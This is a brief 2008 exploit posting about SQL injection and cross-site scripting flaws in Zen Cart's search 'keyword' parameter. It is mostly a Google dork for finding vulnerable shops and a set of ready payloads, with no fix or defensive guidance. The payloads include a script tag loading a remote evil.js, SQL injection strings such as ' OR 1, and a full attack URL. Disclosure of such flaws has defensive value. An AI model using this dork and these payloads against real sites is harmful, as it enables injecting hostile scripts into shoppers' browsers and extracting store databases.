zencart-sql.txt
Posted on 02 May 2008
+==========================================================================+ + 2008 Zen Cart & SQL-Injection Vulnerabilities + +==========================================================================+ Author(s): Ivan Sanchez Product: Zen Cart Web: http://www.zen-cart.com/ Versions: 2008 Zen Cart Date: 01/05/2008 GOOGLE DORKS: ------------ [+] intext:"2008 Zen Cart" inurl:"keyword=" EXPLOIT: -------- 1/4 = 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 10 OK ;-) and then you see: fields, records, tables 2/3 = Inject evilcode ;-) In Action: --------- 1-keyword= "><script src=http://site/scripts/evil.js></script> 2-keyword= ' ' OR 1 3-keyword=' ' 4-http://site/ZenCart/index.php?main_page=advanced_search_result&search_in_description=1&zenid=bla&keyword=evil.js NULL CODE SERVICES [ www.nullcode.com.ar ] Hunting Security Bugs! +==========================================================================+ + 2008 Zen Cart & SQL-Injection Vulnerabilities + +==========================================================================+
